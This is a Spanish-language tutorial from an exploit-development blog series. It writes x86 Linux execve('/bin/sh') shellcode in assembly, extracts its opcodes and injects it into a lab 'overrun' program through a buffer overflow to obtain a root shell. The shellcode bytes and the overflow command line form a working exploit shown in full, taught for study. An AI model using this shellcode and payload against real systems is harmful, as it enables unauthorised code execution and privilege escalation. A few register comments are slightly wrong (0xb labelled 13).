Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Ejecución de una shell mediante shellcode, exploiting parte 5


Lo primero es saber que parámetros necesita la función execve y además que registro se encarga de cada parámetro:

Debemos averiguar el valor de la cadena /bin/sh en hexadecimal para poder meter este valor en la ram y así asignarle esa posición de memoria al registro adecuado:

[email protected]:~$ python
>>> '//bin/sh'[::-1].encode('hex')
'68732f6e69622f2f'

NOTA: Hemos repetido el carácter / para que la codificación de la cadena a hexadecimal sea multiplo de 4, de este modo se puede subir la cadena que consta de 8bytes mediante dos push, esto es posible ya que en Linux /bin/sh es equivalente a //bin/sh

Ahora ya tenemos todo lo necesario para programar nuestra shellcode en ASM:

vi execve.asm
section .text
global _start
_start:

xor ecx,ecx ; ECX --> 0
xor eax,eax ; EAX --> 0
xor edx,edx ; EDX --> 0
mov al,0xb ; EAX --> 13
push ecx ; Mete en RAM el ? de fin de cadena
push dword 0x68732f2f ; Primer push para meter la primera parte de la cadena
push dword 0x6e69622f ; Primer push para meter la segunda parte de la cadena
mov ebx,esp ; EBX --> Dirección de //bin/sh?
int 0x80 ; Ejecuta la syscall

Ensamblamos el programa:

nasm -f elf execve.asm && ld execve.o -o execve

Lo ejecutamos para comprobar que realmente funciona:

[email protected]:~$ ./execve
$

Sacamos los opcodes:

[email protected]:~$ objdump -M intel-mnemonic -d execve
execve:     file format elf32-i386
Disassembly of section .text:

08048060 <_start>:
 8048060:    31 c9                    xor    ecx,ecx
 8048062:    31 c0                    xor    eax,eax
 8048064:    31 d2                    xor    edx,edx
 8048066:    b0 0b                    mov    al,0xb
 8048068:    51                       push   ecx
 8048069:    68 2f 2f 73 68           push   0x68732f2f
 804806e:    68 2f 62 69 6e           push   0x6e69622f
 8048073:    89 e3                    mov    ebx,esp
 8048075:    cd 80                    int    0x80

Podemos utilizar la shellcode por ejemplo en el primer ejemplo de la serie de exploiting:

[email protected]:~$ ./overrun `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'`

 Alfaexploit overrun proof of concept, welcome: 1É1À1?
                                                      Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
#

Podemos realizar la operación inversa, de una shellcode sacar el código en ASM:

[email protected]:~$ echo -ne "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  31C0              xor eax,eax
00000004  31D2              xor edx,edx
00000006  B00B              mov al,0xb
00000008  51                push ecx
00000009  682F2F7368        push dword 0x68732f2f
0000000E  682F62696E        push dword 0x6e69622f
00000013  89E3              mov ebx,esp
00000015  CD80              int 0x80

Misión cumplida, exploit ejecutado mediante nuestra propia shellcode ;)


Autor: Kr0m -- 30/08/2014 00:08:11